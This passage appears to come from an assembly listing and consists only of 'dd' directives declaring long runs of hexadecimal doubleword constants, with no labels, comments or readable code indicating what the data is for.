0EE00D09Ch, 0E4F4AD0Bh, 790FA136h, 8341132Bh, 95130007h dd 0BA88F36Dh, 7A9CF703h, 884378D2h, 0EBFC0Eh, 0CCD32B7Fh dd 54B5806Dh, 5264FB00h, 611AAC20h, 0DEBA00D2h, 125EB46Eh dd 0E5F0275Fh, 0BC93CB00h, 0A3A574E1h, 306A7CC6h, 89F86515h dd 0C514C75Eh, 2B8EB95h, 0ADB9A27Bh, 3DDCE063h, 837E3AA4h dd 0B483DC25h, 5B00E0Ch, 9007AD57h, 4D1CA1Eh, 99863910h dd 0EFF33A74h, 0E0096115h, 718E1B01h, 53560BF2h, 0D0D8ACB4h dd 2A06298Ah, 245C6804h, 3F4B08h, 0CFFE1D24h, 0ED07DEDCh dd 0CB5DABC3h, 6002D800h, 6DAE0035h, 52F84399h, 0C8A83E65h dd 0AB3F4623h, 0E8FF8314h, 4B3237E1h, 0BF28C008h, 0AB16E691h dd 13AC3CD3h, 6F0C7930h, 0E800306Ch, 2D1E204Dh, 72C3F3ACh dd 31A1B8E1h, 0CCB075DAh, 48EE70DFh, 74E41A03h, 0F7036588h dd 1EC27D43h, 0C07CFF20h, 0C66F79D9h, 0B95C5F5Eh, 849C286Bh dd 77DA8F48h, 10738930h, 0E2D7AFD4h, 18A403EFh, 0B5D0E4CBh dd 840235B0h, 0D25F300h, 4E11C345h, 0BD7800BFh, 945D535Eh dd 0F32C7BCAh, 4C008551h, 1F1B80A9h, 0FEC8F8EFh, 935203AEh dd 48905596h, 28AD0EF8h, 87E78801h, 6DE67B6Eh, 8D93B8EFh dd 95573A83h, 20ECDC18h, 0CF73E9D0h, 375B4C00h, 0CDBAF240h dd 21BB008Dh, 190E87ACh, 530C9799h, 0AA7B44C6h, 2351036Eh dd 6B986FBh, 0E9A39D8h, 0B1F61F18h, 25FD78h, 16A88D98h dd 0D9AF7229h, 5B80900h, 0C9C24D77h, 23AE062Ah, 0A90E8DCCh dd 754B8300h, 0E855F502h, 0DE8DA0F1h, 271B008Fh, 94ACA5AEh dd 8230123Ch, 0D6BB3844h, 0B7A0C026h, 154614Eh, 39869100h dd 0AE93AAEBh, 7BC00094h, 9A79DBD0h, 2C0090D4h, 0FF810DFBh dd 0B73871Bh, 5036F728h, 50034607h, 486F5C0Bh, 9008FEEh dd 5804BB10h, 0AB5BE5h, 9218E678h, 0FF7706CAh, 4802D9F2h dd 276B0996h, 0B1FC80DFh, 5F308DBh, 50D76E90h, 0C87080E2h dd 0D6189273h, 25D6BEB7h, 0FADF2CB1h, 22190067h, 0DEE7271Fh dd 0D65A3Ch, 0FF04C432h, 2D9CB1h, 0D33B7359h, 7F257530h dd 0EAD1106h, 7909926h, 80BF9E2Ch, 36B3B07Dh, 880CD0C9h dd 98852B81h, 9C0E1ED3h, 7699015Dh, 0F0820B2Eh, 0E40021D6h dd 0B93B8BBAh, 791B40Ch, 5CC8648Fh, 1F2513A9h, 906B1EC8h dd 0BBDF4200h, 78ADB8B0h, 2C41F333h, 0C211CAB4h, 44F80865h dd 1922D8C7h, 8E442290h, 415C521h, 4B9727Bh, 2423989Fh dd 76AB0FD8h, 80121621h, 0B9367159h, 58A0B084h, 0D989ABFCh dd 76402C57h, 2178B3A7h, 0D0088C7Bh, 986A9B94h, 83D45911h dd 2248101Fh, 0AB353810h, 821BAD10h, 2A212FFh, 27009967h dd 90772469h, 1CFDF020h, 8BD3DF7Bh, 1F5A88Eh, 4D976A07h dd 0A0FEAEE9h, 0E43628DCh, 51780E2Ch, 4361893Bh, 83C43A2Dh dd 34108F68h, 0BBFFD01Ch, 6690A0CAh, 1BAF2E84h, 124A008Bh dd 26DECEEDh, 8DF96C00h, 0F301A43h, 0A3EA30E1h, 4B990C30h dd 2E7F4F00h, 0BA76D519h, 3181247Bh, 710A8000h, 6E3D1048h dd 9746AD00h, 65C55C0Eh, 42B500F2h, 0D1276749h, 640078E2h dd 34EA6AB6h, 660EFFh, 0DB50AA92h, 9BE1264Dh, 27E7600h dd 8F7F5B0Ch, 51FE00CDh, 7CB18E8Dh, 350331AFh, 85E24CF3h dd 0AD40C886h, 0F49700FFh, 0B2AF75Fh, 30EAA66h, 40C78F20h dd 0B19EFCE5h, 35D40015h, 588BD0BFh, 62006051h, 72577422h dd 9F3A7Fh, 0E91F850Dh, 0DCDD4012h, 0CDADF01Dh, 403DB2CEh dd 69FD4BDh, 770E24Fh, 0A43B75FBh, 5F7E6069h, 0F6008B48h dd 0AD27688Eh, 735191h, 2A390CACh, 0ECC8756Ah, 0A0001D78h dd 38BBF35Fh, 13BEF8E8h, 1476A3B5h, 0B90058C3h, 0A2C6E6A4h dd 0B8927A73h, 12FCE080h, 8721CF07h, 0FFD43E0Bh, 93B83880h dd 120C14Fh, 20B06C05h, 0C31F1924h, 0F5CAD5E6h, 0B907D845h dd 4C93FA5Ah, 0A0CAB9F2h, 0D9BD2888h, 80703F84h, 40F94E04h dd 0ACF49B97h, 0BFF11078h, 0B3A818E0h, 88636251h, 79C25F89h dd 2E4A0B5h, 76224087h, 2EF2545h, 0E52F8914h, 1158A003h dd 0CFEAA79h, 28AE76DEh, 6F4B442Dh, 9E514662h, 78602361h dd 8212921h, 32884465h, 2DA18958h, 2E508A5h, 0C5C2F83Ch dd 6408C605h, 5139468Ch, 234A8803h, 998557h, 8DBF1BD4h dd 54F62893h, 2E7AA700h, 499C9F21h, 92B000DAh, 27C4547h dd 0EA001D5Ch, 27E262D9h, 7DC6077h, 0E117EE95h, 315AE048h dd 0E022414h, 2A1B9C0Ch, 0B8A84028h, 0D9DF00A5h, 93D5B4D8h dd 6300D473h, 0B6B50299h, 0F4C36665h, 9B5900B8h, 2076AC43h dd 74001D54h, 0AE4A52C8h, 7C0463h, 2ECA375h, 55875B9Eh dd 0DFAC6000h, 9028C3DEh, 56321ECFh, 0BE344012h, 0ABFA67B2h dd 70085400h, 6F0B962Bh, 68204D5Eh, 7EC1F700h, 0FA4CB94Dh dd 71514100h, 0EFE41FFDh, 0AEE03A6Bh, 216CCD80h, 0B4B9F961h dd 0F61C0800h, 0D220283Ch, 14AF5C12h, 679C4B00h, 0D0691909h dd 3B7BE000h, 4429952Dh, 6324008Bh, 0A0AA5610h, 0A4003122h dd 4EF96E4Bh, 0F851CF58h, 6FEC0919h, 38A0D399h, 78F984AFh dd 0F298DA03h, 0F0D7E2E3h, 1D4B7280h, 13A3158h, 8770B59Fh dd 1810E421h, 25CE3B02h, 0E014A690h, 27FE33h, 0B4F7C20Dh dd 0ABE70AF3h, 38216000h, 0D19F47F1h, 16D8FB98h, 7454001Fh dd 0E9F9BBACh, 71003624h, 3A91F5D8h, 0E3C5BE1h, 74C4BC1Fh dd 0D720450Fh, 0AD2C67DCh, 180046E4h, 97113130h, 0FA3A4Ch dd 5F2B21B9h, 0A2D66853h, 0DB54F913h, 263F19FCh, 695AFE00h dd 880AABD8h, 94761009h, 0FD768AF5h, 3ECBFA00h, 4C2C3AAFh dd 0AC0004F3h, 87B5C399h, 0D7008F51h, 294E0B3Fh, 3E0D1FEFh dd 57002354h, 0AA7E6A36h, 2E006E69h, 0CF9864FCh, 0D7904Eh dd 8557533h, 4A26549h, 809A143Ch, 0FB5E66F8h, 40917E4h dd 636F88DEh, 545880F0h, 0D071320h, 0FB04DF4Bh, 8E3B402Fh dd 1DC6D52h, 6209B47Eh, 0DCCD3949h, 0FA1EC563h, 0F457D6ECh dd 1267F0h, 0FC37F890h, 0F0A86B07h, 68D23300h, 4FC09315h dd 8590005Fh, 0CA507AC8h, 16006CBDh, 5B2472EAh, 2AA925h dd 1FE4AC64h, 0FCA8AD41h, 0E311ED04h, 9CC08694h, 2762972h dd 38F3DAD3h, 13402DA4h, 9A0011F0h, 0ADCCAFB0h, 60121FE8h dd 8677A8F2h, 30002B8Ah, 3DEEE0B7h, 2940EB4h, 0C49C9535h dd 0C26328FDh, 29AD54E0h, 4CB2011Dh, 971738F0h, 82CA00E3h dd 0A3332248h, 56006A8Bh, 0D9751888h, 1C463825h, 40429F76h dd 95B0FA45h, 0D300025Ch, 395A1CC4h, 3D218C8h, 0E34033B5h dd 73D07CB3h, 0F300EE7Bh, 502DC9Ch, 5364660h, 0AB2A095Dh dd 0A424C3A5h, 0AEF816A8h, 0B7EA1F09h, 1C09006Ch, 56D672h dd 2FFECF9Eh, 0F2E1957Eh, 82A77107h, 3F90F97Dh, 7BD60Ah dd 3D44288Dh, 0C786486Ch, 5FE57007h, 0A0EFC61Dh, 84B179Eh dd 1BE846h, 3F20F509h, 932D5241h, 6AD00213h, 5C5D0400h dd 720817AFh, 74B439ABh dd 56512500h, 3029E5D3h, 817CA200h, 0B694B2E8h, 3BF1D92h dd 25A040CEh, 864B1C17h, 8800F3FCh, 30A4C2F6h, 9D248Fh dd 3307847Eh, 83ADFDDCh, 7261B39h, 343B96Eh, 0A603A78Ah dd 0A074BC20h, 0F08CDEE3h, 95C7508Dh, 0EE17001Dh, 0F21A5B4Ah dd 0B107234Eh, 62DB087Ah, 184FEF50h, 0CCED00EEh, 87B77E97h dd 6C00BE94h, 0A5B464A8h, 4EF8FDh, 65423818h, 0C269CE6Ah dd 62AF7D00h, 0F248CD5Bh, 5B70596h, 0C014C1FFh, 2F2DA0F4h dd 0AB8F5500h, 4437821Ch, 0F66E010h, 22360B49h, 0F880A0CBh dd 0F48C5642h, 0C2A17C03h, 0D02B1501h, 0F27293B4h, 309B0611h dd 663A5AB0h, 89536316h, 39211000h, 3CB971h, 4167EDEh dd 0F23B9C11h, 8707A500h, 8B59B24Ch, 1D2C0797h, 5013E21Fh dd 6CC7AFB4h, 0E500337Ch, 0F70EB609h, 3F8899Ch, 0B5D75613h dd 599091EDh, 680003DFh, 777650A4h, 2CBD0A44h, 0D62A0Dh dd 0AC5A3827h, 62007CFCh, 0CC39322Eh, 1FDCF1D2h, 0C0EA57B5h dd 25E2BE1Eh, 0E011866h, 0B6537F78h, 0B1FD41CDh, 5CD493E4h dd 813F7016h, 0E36FD103h, 10C0BCB6h, 0F3009F69h, 949335Fh dd 70B817CEh, 0BCFF0002h, 778904BAh, 22075CCCh, 0F71EFC57h dd 242337C0h, 8C750021h, 0BFB79EB3h, 3B037E2Dh, 6D642290h dd 802EAAF8h, 80C133D4h, 0CE3100BDh, 0E3B39718h, 0D3005DA3h dd 0FEE79DDEh, 1FE290F3h, 2935E1h, 0E8BF57D9h, 0FC009E50h dd 4568417h, 0FF3516Eh, 0E7EDD69Dh, 0C2C67F40h, 950565FCh dd 0E5520D8Bh, 0B003F883h, 596867h, 9AC46D56h, 0E94CC780h dd 0D5063F02h, 0C0E58762h, 0B8B8A0E4h, 0D9FA00FFh, 10FE5B29h dd 0C3009BE2h, 803E3F1h, 3C0CE6C5h, 0E080C7FDh, 4F042FACh dd 5800A43Ch, 0B4C28B2Ch, 0E22DEEDDh, 0EBD3B09h, 87679203h dd 0D6009024h, 0D3120B52h, 0EA111C8h, 0D5D75F7Fh, 20250FE0h dd 5172B541h, 6092DD00h, 0ADAA3310h, 0BEA00098h, 0EB6E3121h dd 0F61E8501h, 53CAFCA2h, 6200A010h, 0BA8206B4h, 410B00Fh dd 4D67402Bh, 0E984C1h, 0E72284B8h, 833EDD58h, 148C80EEh dd 356A4F0Bh, 6EC700F8h, 0BBBF6F11h, 1300A029h, 9F46B5FCh dd 0EFB99Ah, 5BD05AF6h, 0C0F252E8h, 42C51D1Fh, 56008866h dd 0CCF6C753h, 6C6B0715h, 0B045A384h, 110A4266h, 0C3C4FB07h dd 9323535Ah, 9E55C09Ah, 9B0500B0h, 0D94230F9h, 0D40FE61Ah dd 20A3C1F8h, 7EBF1887h, 0BE080A11h, 0E4FCDAh, 8092F78Eh dd 3CB879E2h, 8B67FE00h, 7BA991DEh, 0FAB30064h, 0A65A950Ah dd 46009B86h, 2B6C533Fh, 0B903502h, 0BE602D0Fh, 4C130B00h dd 0B23E98AFh, 5BB59238h, 0F4675021h, 6BC01200h, 8AB01A01h dd 0CA275D62h, 0FC83D0h, 8FB394CCh, 99C3532Fh, 4C805400h dd 73DC5A6Ch, 88FD01BEh, 0CAFA4FDAh, 5BA0DFEDh, 154C7E4Eh dd 6FF7000Ch, 0C99BC09Eh, 0F03D75F0h, 0C6763Bh, 827AC4B9h dd 0E4608D96h, 72099805h, 18C06D9Ah, 4ADDE9h, 59E51CE2h dd 0CD1ADF0Eh, 3E850A01h, 1BBEB67Fh, 0D9D8E8h, 1F1CFF11h dd 0DA2B33CCh, 0AC000E75h, 7945EC61h, 0B08CED6h, 0E88CC214h dd 0BE037480h, 0A4000AF7h, 0DC858087h, 0EE9119BAh, 0F289034Dh dd 3E4E2817h, 0A8A9CD8h, 5CE86E01h, 598399C4h, 3EAFA9C4h dd 978FDDE7h, 156E36F9h, 0B0811A04h, 0CF0041A0h, 0B847C83Ah dd 51BCA7Dh, 14378AE5h, 73870375h, 50E7207Eh, 2750DEEBh dd 0DB418400h, 0CBC13AFFh, 7E780015h, 72531BBDh, 35005E12h dd 0A862ACC6h, 2EBFDED5h, 1388C91Dh, 669D00C5h, 2496AAD0h dd 3B00FB73h, 3C564B3Fh, 1BEC00Bh, 0E7921B5Ch, 0FC7170ECh dd 76507E23h, 9B02BBD1h, 0FE0E9537h, 0F85C63DBh, 2E42BEB2h dd 3E5120A1h, 4D575A00h, 6D026745h, 35BC6200h, 4B079EF0h dd 2B1C3BD5h, 0B8C9DB82h, 5458FC7Fh, 0DB45A00h, 1F4A4E43h dd 0D89053h, 0EE34CFAh, 0D7C52802h, 45D6031Fh, 0B643EF40h dd 28714B79h, 3EB4D8BFh, 23BDB0CEh, 470094DCh, 9D0643A7h dd 7D0F0321h, 3766C810h, 7A512300h, 12565C7h, 982F112h dd 0C83BED33h, 0DA00E82Bh, 7393CBB7h, 1BBAAACh, 27A558C0h dd 0E0B99703h, 24B02B48h, 0F643E41Fh, 8C97D40h, 0D432CAh dd 0CDFF6CFBh, 7C5B1F5Eh, 6113AF00h, 42BA86E0h, 4A60BF3Ch dd 0A2001AB3h, 0DE0DFDE5h, 3E3B774Fh, 8D80160Fh, 0D99BE006h dd 0CC030A6Ch, 0B9029CAh, 8FC8C8A5h, 1C5200F0h, 3347EB0Fh dd 0C50EF792h, 0E1C3AF21h, 7BA5AD25h, 1B98BD8h, 75A0B19h dd 80ED7511h, 1A06C024h, 280ECDF3h, 0B050CFh, 10BAFC8Ah dd 48132719h, 137053Ch, 462CC14Ch, 8440943Ah, 2CDBCECFh dd 7C9D21h, 0DE110C39h, 0AE00FBEEh, 5E91F96Dh, 7454820Bh dd 489C01C5h, 0FBB5EB39h, 37A8FF6Bh, 0AA00283Dh, 0E05C8776h dd 286FC0Eh, 66602AA0h, 6760A7EDh, 792407FAh, 13BDE1Eh dd 0BFA83FF2h, 8DEC98E6h, 0DC9A3937h, 0B6A15780h, 9F767A1Eh dd 10DB9407h, 0C07ED79Bh, 0BD5BB0F6h, 364F1D88h, 4C6344B2h dd 0E4B08084h, 0DF00047Ch, 9FB03BEEh, 2BCBD5h, 2D15B2DBh dd 433D33ABh, 0A774A20Eh, 0D9E820C8h, 7FF1C19h, 0BBD7474Dh dd 0AB84h, 0AF204FCAh, 49913B00h, 0AB05061Dh, 302B4E14h dd 0EC8F7594h, 858DBA01h, 76447B0h, 0F802C0h, 2780045Dh dd 0C8E7DE7Dh, 0B095FB00h, 4C66E2DCh, 0C55A0123h, 356C8C4Eh dd 5B06870h, 44F98803h, 40671DC2h, 0BB8070h, 0DBFA0210h dd 65F2AD69h, 923BBE00h, 41442DC6h, 0ECEF0355h, 29F1435Ch dd 546B04C8h, 2AB55A00h, 7E60DCC1h, 3732003Ah, 0FA904BB4h dd 0DA028D89h, 3EC1AAB8h, 0E07870h, 0C04D7C67h, 3F9E965h dd 0B8F5CE24h, 0D35FB901h, 0B60061D5h, 0F600E048h, 30E4781Fh dd 17297062h, 4085C1h, 0B5221E0Eh, 9D781691h, 2EF4F80Eh dd 0C0754E5Ch, 95A934B6h, 0A2F939D4h, 0EE9E5E03h, 2BE8C6ECh dd 69ECB7C2h, 0D71038h, 2D64F09Fh, 0FC864AEFh, 12955B8Bh dd 2A100D8h, 50ED749Dh, 34BFA100h, 0AFDCD726h, 184A0007h dd 5AAD828h, 37AFCCBh, 0DE967000h, 72EE4946h, 9C9E0074h dd 0F8BABE17h, 2700FECFh, 0C121EA01h, 0B976CAh, 0A8F6BD03h dd 654CF14Eh, 3D562C1Fh, 7B3F6A40h, 0BB7E753h, 7F126C92h dd 0FB272F00h, 0F87FF264h, 7267D506h, 9182C5Bh, 0AFE422A5h dd 34859780h, 74004301h, 63F86E7Ch, 2D3742h, 1E89E80Eh dd 0AF3077F4h, 3927FA00h, 783233A4h, 0CB153D4Eh, 6E3C5401h dd 0E0709F07h, 974B364Bh, 0D3C1AC03h, 5C7BC8C7h, 85FE3BADh dd 98E558F9h, 0F1874A3Ch, 60B45EDEh, 7CE79E84h, 16BCA600h dd 0AAFF8E29h, 0C92B0043h, 7E77F240h, 0B5902C64h, 7D79FD00h dd 4A0A87E4h, 0BB970A5h, 14A19D49h, 0E2FA9800h, 6D02D9B2h dd 0D27A1557h, 0C84EC042h, 6AC72C22h, 23A280A4h, 64F4532Eh dd 0CE166E1Dh, 0EF723940h, 7F436FB7h, 0BB902E38h, 0CB476038h dd 723EC120h, 8A6387A0h, 9E10147Ch, 420BFFh, 0C2786881h dd 1F3641BDh, 40534300h, 0E76697B3h, 0D79C00A8h, 0BE91AE4Fh dd 540BB0D8h, 804365B1h, 0F9DBE1ACh, 0E5FA12C1h, 84E01F09h dd 0C2CFC9D6h, 74E0FE1Ch, 0CD00F2A3h, 91476905h, 7F9131Fh dd 434F2D22h, 0FA8470FEh, 6D009837h, 850766CCh, 32B39Fh dd 45A18E3Ch, 4904D55Bh, 33180800h, 0FDC2B650h, 0E74A3DF0h dd 0B500343Ah, 7ACE4E81h, 54006AB7h, 555798D3h, 22915BCh dd 3E38DAC4h, 80E0D71Dh dd 92008387h, 9992DE0h, 0FA6941F2h, 0B9700ACh, 5CA1F9BCh dd 541C492Bh, 0B2C06785h, 1E73E9C8h, 43480068h, 988C977Bh dd 2B002605h, 47A67DE6h, 89169Eh, 0B453468Ah, 17420D92h dd 0A0136A0Ah, 5602DC04h, 0C0CAF371h, 152BF0Ch, 8AE622E5h dd 3C87B9CDh, 0F3A900ACh, 0EBC2FDECh, 82D10A4Eh, 0FF6680h dd 96DEA812h, 0F0B6CE4h, 80F4C934h, 33F1BF04h, 578605A7h dd 8031CFAEh, 5C7E90D0h, 0EB70EAECh, 0BF380095h, 0BC2CBE4h dd 0C6A2A7F7h, 0FF508057h, 4C34E1F3h, 0BE165C11h, 1D0080D7h dd 5D3DFC8Dh, 12C3806Bh, 0C171A043h, 76348CFh, 0EE58D304h dd 0E0CC0DEh, 0D71E8F50h, 9F00F749h, 9EC39A13h, 8C24047Bh dd 0C08DDC45h, 0D7ECBD35h, 0D5F97000h, 9737B8B0h, 6F063D39h dd 4881C12Dh, 620E26BAh, 16728008h, 89103Dh, 0B5F7E69Dh dd 4A921319h, 0E7AE3900h, 77425B02h, 74F100B2h, 0C93615F8h dd 0B301324Bh, 494EE073h, 68F09BA5h, 48009541h, 0D4C5A4A7h dd 0C9693500h, 0A557DA82h, 0EA0C729h, 47CE8F71h, 0C968CD00h dd 250A2092h, 0E82C9630h, 20F6F70Eh, 0D3127D4Eh, 7194A21h dd 0E9A044E4h, 3C03EC80h, 75FAAB2Eh, 0DB96C600h, 9E568651h dd 0C2FB2408h, 0B4CB003Dh, 24B2CD98h, 89516B17h, 2CC0A11Ch dd 0BDE07EC1h, 8CC40039h, 9038B157h, 0AB1E8083h, 0F78021BAh dd 0CAA7FD19h, 0E5590286h, 0ECB8C263h, 0DEA198C3h, 343DC82h dd 785D1B00h, 12DF7331h, 0B3FC7Dh, 63252338h, 96DDEC34h dd 160FF2F2h, 651E5877h, 0BCD7E1C9h, 0DF621AF3h, 2D4D1370h dd 7873F17Fh, 6A22810Bh, 0F909B482h, 5D3E0452h, 53D16A3h dd 0CE92AD04h, 0E84B04D3h, 3486BD7h, 174C872Bh, 7BC0B712h dd 6D07F9D1h, 5EFA41B3h, 2560AB61h, 0B8506430h, 0B69B006Ah dd 0A7DD7E76h, 0FE488616h, 640570DCh, 9BD5C5BDh, 2559CC0h dd 366001Dh, 0E1A524E5h, 867E4497h, 108F0400h, 54EA32D8h dd 0A90916DBh, 47A01E38h, 72C6B3FFh, 0B4E1375Bh, 94F0608Ch dd 0B0353000h, 6DFFED5Ah, 506C009Eh, 0F72692F9h, 4900D26Bh dd 6434CBCAh, 0F62076E7h, 3FA5E4Fh, 7CD008D4h, 6F9F77F0h dd 0AD59B00h, 14CAB92Dh, 15363A84h, 800BC58h, 0EF2496A0h dd 0F6024B21h, 0DAAFBE11h, 0EAC5ADDh, 0EBECE4A8h, 0DED3F0E0h dd 50000D10h, 32BF8FFFh, 0FDB89h, 4156E0C4h, 40386729h dd 482D8C2h, 0FDF84006h, 7CC2EC16h, 50320117h, 0D5DFF44Ah dd 403E210Dh, 0B9235FA0h, 2273D600h, 9295E0B2h, 67940050h dd 0E1D86BE9h, 48B038E7h, 5E3890FCh, 6DB101C4h, 0ADBF51C3h dd 4810BAD4h, 4007E075h, 5002DB1Dh, 0F29C7FCh, 6D004096h dd 7C8BF358h, 0E60CE83Eh, 0B6721CB3h, 2064C031h, 899727C5h dd 77372900h, 9ECA70ECh, 41E30911h, 0D0C0FDEEh, 0F100EB5Eh dd 0DC6AD306h, 1427DA8h, 708F91AFh, 0F05F6D26h, 66FE0237h dd 17B62400h, 0DFA49CB9h, 0EBBB008Ch, 776CA2B2h, 0C9000CB4h dd 65C66EFFh, 1FAA9CE5h, 54CECB88h, 8B39E421h, 4F4D0D1Ch dd 0F3C7347Eh, 12ECE0BEh, 0BC03F0C9h, 9D746B0Bh, 30F1A868h dd 87192FFDh, 0B4075894h, 0E6138486h, 1DE76340h, 2FF30027h dd 0B5B9A6Ch, 1700E146h, 1C38D411h, 90542Eh, 63AA1BE5h dd 79F4B3C5h, 3FA5EE00h, 0E7DB4BABh, 33FD0388h, 4748E849h dd 0B5F865EBh, 0BD012FB4h, 2369B9C3h, 0E9D4D73Bh, 1B31001Eh dd 35AE1511h, 0CA01013Ch, 912283A8h, 2E3685h, 15A5D448h dd 101F4C6Eh, 7109C80Bh, 0C63900B1h, 0F1FB26h, 4995BA47h dd 98D641BBh, 10CD9A26h, 29DC3500h, 626CE1h, 638BD118h dd 0B18C1116h, 0F58F0A02h, 0F152378Dh, 0DC620130h, 20CAF936h dd 8209E74Ch, 876D56ACh, 8ED0E098h, 764B6CE2h, 0A1A46272h dd 6446E3B9h, 87084C39h, 210FB49h, 0E08CF612h, 0F06B728Ch dd 4DAD0ED9h, 33272806h, 0AEDDD28Eh, 1EB10D60h, 7673DA07h dd 0EC0B3C9h, 5D6247h, 0A0B0CD52h, 0DCFAAE1Ah, 9B51A700h dd 0C601296Ch, 0F7FD1824h, 20908821h, 0F802644Bh, 0C01829DBh dd 6DC350h, 0EB614125h, 24EE99FCh, 7BF4CD00h, 88C95E3Fh dd 3460028Bh, 0C46FCB03h, 545737E0h, 3F3C6A1Dh, 12F7C107h dd 54819225h, 60801F99h, 33A478B6h, 0BE0094F0h, 558C65E9h dd 4BD921h, 0BF6F32C1h, 0B2C644AAh, 33A8F00h, 0C78D6D92h dd 5BE300DEh, 0BBD8B0DFh, 0FA900A07h, 0BA2C4301h, 0CC836CA7h dd 3807F068h, 0A0C10F46h, 0B6FF26C5h, 3F4FD200h, 5056A448h dd 9D7503E1h, 0B3985BF1h, 0EB146C90h, 0C382BA0Bh, 0AFBD80CAh dd 0CE3935h, 77663BA7h, 31AEC6A0h, 0BFDF8003h, 87ADE024h dd 0E8EB13F0h, 6090C4h, 0D5863817h, 0E6BC9C6Fh, 4F79F8E6h dd 96C0D907h, 0A030C29Bh, 2B64B95h, 58E6BD08h, 6C5012A8h dd 3B2D0307h, 0B3D02C29h, 1D10A683h, 80400E33h, 35536AFAh dd 913B8471h, 861400E8h, 11D7689Fh, 39B800E4h, 3F3D619Ah dd 3102A243h, 88827E35h, 0C0476295h, 20A46Ch, 8AB5BE27h dd 9E5B7C54h, 0BA6B1C01h, 9155A93Eh, 47F1A12Ah, 5AA58158h dd 0BF1E60C5h, 1C7F5D3Dh, 0DE82E060h, 7063F61Dh, 5E1B00E8h dd 38545F94h, 0E1004B0Fh, 0C645D51Eh, 1F2EB4Ch, 0AE99676Fh dd 3A9D8A6Dh, 49305400h, 0F196D3h, 0B9482B8Eh, 40FFC45Dh dd 86876D24h, 9B4C2601h, 66C05551h, 4FBF003Ah, 23A74603h dd 9AEC4833h, 880080E0h, 0D8AF4B1Ah, 0E76B583h, 8D2CB09Eh dd 0CA524CC3h, 57F971D0h, 0B13F8000h, 98AD892Eh, 0D1840392h dd 0ECD49AAEh, 1F7AFA09h, 547C81B1h, 2C63CAEFh, 0E5F17E00h dd 7C5540AAh, 32A90600h, 36CD27FAh, 4C54037Fh, 0E3C78ED9h dd 0D8EE6A89h, 0BA01A5B6h, 4A6EE6FCh, 0A17BE755h, 29B4DCFAh dd 3C08E801h, 47075F32h, 0C1693087h, 6CC6B24Eh, 0F79E90A0h dd 0A0E8193h, 0B703Ah, 0DE89E82Ch, 0B0EC387Eh, 5BE91280h dd 0A34F7768h, 9EC8D200h, 3856BD2Eh, 6EBC3DE2h, 2BE5DE00h dd 5526B37h, 75A6C00h, 41B27FF9h, 71CD00E9h, 0BC372595h dd 5E008AD8h, 0A88E1EB7h, 0C0B3FA53h, 9CBE8188h, 48C7EDEEh dd 8AB23001h, 9E909086h, 0DEC600E1h, 2B4E1ED5h, 1CE89939h dd 0B3F91901h, 451BD75Ch, 41F130h, 54B9492Ah, 0D1518314h dd 0D723403h, 0DC1B2F44h, 7E38B8h, 0D5C80C5Fh, 3239E7E2h dd 0D929E0E5h, 0B363A012h, 0D8C0C801h, 0F4D8EAFBh, 0F3B400F0h dd 0CDFD3660h, 25002B9Ah, 55527C9Bh, 306C907Bh, 0D146D005h dd 0F200D849h, 0E3C83FEh, 0ACE873h, 0F45C3A58h, 0C54937F9h dd 40E0B600h, 0FBFE9E13h, 12E90376h, 0BDD19074h, 545A72B8h dd 7DB33F00h, 0BBA78DBAh, 0C7873F57h, 44EC3980h, 0F39293B5h dd 98122707h, 31F06EC4h, 0B6EBD4h, 7E5A5072h, 0C843FEB7h dd 9901D07h, 2B8005A2h, 497930h, 4AF974ECh, 8ED292EDh dd 0AAB79700h, 0F8246518h, 85EF0361h, 4CB3A1B1h, 9A81B6B0h dd 8177EA39h, 2ACD7052h, 90E05375h, 1192040Dh, 0E46C134Fh dd 760F99B8h, 20456327h, 4674AA06h, 82A49C25h, 0C12979EFh dd 620ACEC3h, 0C45C1E13h, 0CD955301h, 0A8EC77F2h, 0A7CA0055h dd 166647DDh, 87584E07h, 0CB2E0120h, 0EE643858h, 2EA450D2h dd 60981E77h, 0BF6816B1h, 0A85892F0h, 80513F9Eh, 0E12336F0h dd 8C91F7h, 2673C8C0h, 0A0868F5Fh, 0D313B41Ch, 98C0CE92h dd 5DA3CCh, 0ECF860FCh, 0B7999C81h, 3629C000h, 0F7B816F1h dd 44D40001h, 975AFB17h dd 0B3008A53h, 9F3EB7EDh, 0D91A0h, 0E052F271h, 77C46DEEh dd 0EBC67A00h, 4E3F965Eh, 0B4AF00F5h, 681A5F42h, 0E8001FC4h dd 656258Dh, 0C7236Fh, 69116396h, 0CBFAD741h, 493C4075h dd 91AE8059h, 539FA3D4h, 0DC5E008Bh, 9DAAA2D9h, 0FF7F4BB7h dd 45928100h, 1C34169Eh, 71FD0010h, 0BFDE8FA7h, 0D200734Ch dd 8182E9B1h, 3C6D6534h, 176F509h, 2CBEF875h, 0EC168828h dd 5008E03h, 9344292Fh, 9DECAFh, 0A7E7582Dh, 0C0830BA6h dd 29665B00h, 0D7A1F2F3h, 551A00C3h, 47BBABCh, 0F500C871h dd 141BF1B9h, 0E3B03Ah, 37E4EC6Fh, 723F9F6Eh, 7B00A2EEh dd 2262FBA6h, 107F33h, 7D091EB8h, 4C8F35FAh, 0F0006BB8h dd 0F9D88137h, 371FC45h, 0C1C5B392h, 2B904EB4h, 3E002914h dd 0CE4284B0h, 0FADF8CE3h, 0DB503A4h, 0D52F21A6h, 1A4B9CF8h dd 4C136400h, 7E9B7820h, 0C1BC00FEh, 569F5A8Fh, 320021C2h dd 93E6E042h, 583977DDh, 7C005E0Eh, 2706833Bh, 0B3004299h dd 0EABA3C94h, 1CC70455h, 403E1544h, 46F2C3FBh, 26094A5Bh dd 408059ABh, 33AD28h, 5E54F0CBh, 5731BE4Ch, 0D03A0800h dd 918CDF67h, 0B75B07A9h, 0A0873890h, 74C4B654h, 0F5690400h dd 8BAC73E2h, 0DD90E9h, 5A540E80h, 8A5E1FD5h, 0C63A9900h dd 8C877D3Dh, 0FA6100C3h, 42CFA9DFh, 0BF3CBE88h, 705B8117h dd 86938EE9h, 0F9D0FCh, 44D2A0EEh, 535DCB5Fh, 36BAA800h dd 132E5892h, 8A070031h, 66CE0B3Ah, 5F0133F2h, 0A06F8B22h dd 2AF09E30h, 0FD47008Ah, 0D888910Ch, 7B75E157h, 0B81C4F98h dd 60DE686Fh, 39000CE4h, 0BD29AC65h, 0C0565837h, 0A942DB01h dd 0D976EF3Ah, 0D1C92001h, 8468CD00h, 6A627D0Ah, 59EC3ECCh dd 8075089Ch, 6F1D92EFh, 3E003373h, 6A052316h, 0FC66AFh dd 982518B1h, 0A42E834Fh, 74536F01h, 872B9D99h, 0C42AF0h dd 0F0D3756Ch, 62C9B16Eh, 7CD6A500h, 